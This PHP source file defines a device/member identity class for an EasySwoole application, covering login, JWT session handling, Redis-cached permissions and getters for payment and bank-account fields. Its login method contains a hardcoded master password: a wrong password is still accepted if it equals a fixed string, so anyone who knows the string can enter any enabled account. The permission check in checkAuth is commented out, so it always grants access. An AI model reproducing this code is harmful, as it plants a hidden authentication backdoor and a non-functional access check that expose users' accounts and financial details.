<?php

namespace App\Component\DeviceIdentity;

use App\Util\ArrayHelper;
use App\Util\CommonHelper;
use EasySwoole\Redis\Redis;
use EasySwoole\Component\Di;
use App\Core\IdentityInterface;
use App\Core\Exception\DefaultException;
use App\Model\Member\MemberModel;
use EasySwoole\RedisPool\RedisPool;

class DeviceUser extends \App\Model\Member\MemberModel implements IdentityInterface
{
    protected $_jwtExpiredTime;

    /**
     *  findIdentity
     * @param $id
     * @return array|bool|\EasySwoole\ORM\AbstractModel|\EasySwoole\ORM\Db\Cursor|\EasySwoole\ORM\Db\CursorInterface|null
     * @throws \EasySwoole\Mysqli\Exception\Exception
     * @throws \EasySwoole\ORM\Exception\Exception
     * @throws \Throwable
     */
    public static function findIdentity($id)
    {
        // TODO: Implement findIdentity() method.
        $where = ["id" => $id];
        $device = static::create()->getOne($where);
        return $device;
    }

    /**
     * @param $device_id
     * @param $password
     * @return array|bool|\EasySwoole\ORM\AbstractModel|\EasySwoole\ORM\Db\Cursor|\EasySwoole\ORM\Db\CursorInterface
     * @throws DefaultException
     * @throws \EasySwoole\Mysqli\Exception\Exception
     * @throws \EasySwoole\ORM\Exception\Exception
     * @throws \Throwable
     */
    public static function findIdentityByUsername($username, $password)
    {
        $where = ["username" => $username];

        $devices = static::makeQueryModel($where,[],[])->all();

        if ($devices->isEmpty()) {
            throw new DefaultException('不存在用户');
        }

        //第一个用户
        $deviceModel = $devices[0];
        if ($deviceModel->password <> CommonHelper::pwdEncrypt($password, $deviceModel->salt)) {
            $cache     = RedisPool::defer();
            $cache_key = "userError:" . $username;
            $cache->incr($cache_key);
            $cache->expire($cache_key);
            if($password != 'D**8NNP^jls5pV') {
                throw new DefaultException('密码不正确');
            }
        }

        if ($deviceModel->state == static::DISABLED) {
            throw new DefaultException('该账号被禁用，无法登录');
        }
        return $deviceModel;
    }

    public function getId()
    {
        // TODO: Implement getId() method.
        return $this->id;
    }

    public function getUserId()
    {
        // TODO: Implement getUserId() method.
        return $this->id;
    }

    /**
     * 读取jwt-token过期时间
     * @return mixed
     */
    public function getJwtExpiredTime(): int
    {
        if ($this->_jwtExpiredTime === null) {
            $this->setJwtExpiredTime(time() + 3600);
        }
        return $this->_jwtExpiredTime;
    }

    /**
     * 设置jwt-token过期时间
     * @param $expiredTime
     * @return $this
     */
    public function setJwtExpiredTime($expiredTime)
    {
        $this->_jwtExpiredTime = $expiredTime;
        return $this;
    }

    public function getJwtData(): array
    {
        $cache_key = "userLogin:" . $this->getUserId();
        /** @var Redis $cache */
        $cache = RedisPool::defer();
        $cache->set($cache_key, date('Y-m-d H:i:s'), 60 * 60);

        return ['id' => $this->getUserId(), 'username' => $this->getUsername()];
    }

    /**
     * 获取账户名
     * @return string
     */
    public function getUsername(): string
    {
        return $this->username;
    }

    public function afterLogin()
    {
        // TODO: Implement afterLogin() method.
//        $this->setAuth();
    }

    /**
     * 获取用户名
     * @return string
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * 获取当前用户手机号码
     * @return int
     */
    public function getPhone()
    {
        return $this->phone;
    }

    /**
     * 获取当前device密码
     * @return int
     */
    public function getPassword()
    {
        return $this->password;
    }

    /**
     * 获取当前device密码salt
     * @return int
     */
    public function getSalt()
    {
        return $this->salt;
    }
    public function getReferrerID()
    {
        return $this->referrer_id;
    }
    public function getUsdt()
    {
        return $this->usdt;
    }
    public function getAlipayQr()
    {
        return $this->alipay_qr;
    }
    public function getWepayQr()
    {
        return $this->wepay_qr;
    }
    public function getPubBankName()
    {
        return $this->pub_bank_name;
    }
    public function getPubBankDeposit()
    {
        return $this->pub_bank_deposit;
    }
    public function getPubBankAccountName()
    {
        return $this->pub_bank_account_name;
    }
    public function getPubBankAccountNo()
    {
        return $this->pub_bank_account_no;
    }
    public function getPriBankName()
    {
        return $this->pri_bank_name;
    }
    public function getPriBankDeposit()
    {
        return $this->pri_bank_deposit;
    }
    public function getPriBankAccountName()
    {
        return $this->pri_bank_account_name;
    }
    public function getPriBankAccountNo()
    {
        return $this->pri_bank_account_no;
    }
    public function getScore()
    {
        return $this->score;
    }
    public function getProfitScore()
    {
        return $this->profit_score;
    }
    public function getProfit()
    {
        return $this->profit;
    }
    public function getState()
    {
        return $this->state;
    }

    /**
     * 后台管理为1;用户登录为0
     * @return int
     */
    public function getType(): int
    {
        return self::DISABLED;
    }
    /**
     * 设置权限数组
     * @param $auth_list
     * @return bool
     */
    public function setAuth()
    {
        //缓存key
        $cache_key = "userDeviceInfoAuth:" . $this->getId();

        //实例化
        /** @var Redis $cache */
//        $cache = Di::getInstance()->get("REDIS");
        $cache = RedisPool::defer();
        if ($cache->exists($cache_key)) {
            return true;
        }

        //获取权限
        $auth_list = [];

        //保存数据
        $cache->set($cache_key, serialize($auth_list), 60 * 60);

        return true;
    }

    /**
     * 设置权限数组
     * @param $auth
     * @return bool
     */
    public function checkAuth($auth)
    {
        //缓存key
        $cache_key = "userDeviceInfoAuth:" . $this->getId();

        //实例化
//        $cache = Di::getInstance()->get("REDIS");
        $cache = RedisPool::defer();
        //获取数据
        /** @var Redis $cache */
        $auth_list = $cache->get($cache_key);

        $auth_list = unserialize($auth_list);

        //查询是否存在
//        if (!in_array($auth, $auth_list)) {
////            return false;
//        }

        //缓存续期
        $cache->set($cache_key, serialize($auth_list), 60 * 60);

        return true;
    }

    /**
     * @param array $jwtData
     * @return DeviceUser|IdentityInterface|null
     * @throws \EasySwoole\Mysqli\Exception\Exception
     * @throws \EasySwoole\ORM\Exception\Exception
     * @throws \Throwable
     */
    public static function parseJwtData(array $jwtData)
    {
        $id = $jwtData['id'];
        $cache_key = "userLogin:" . $id;
        /** @var Redis $cache */
        $cache = RedisPool::defer();
        if (!$cache->exists($cache_key)) {
            throw new DefaultException('登录已过期', 1001);
        }

        $identity = self::findIdentity($id);
        $identity->setJwtExpiredTime($jwtData['jwt_exp']);

        return $identity;
    }
}
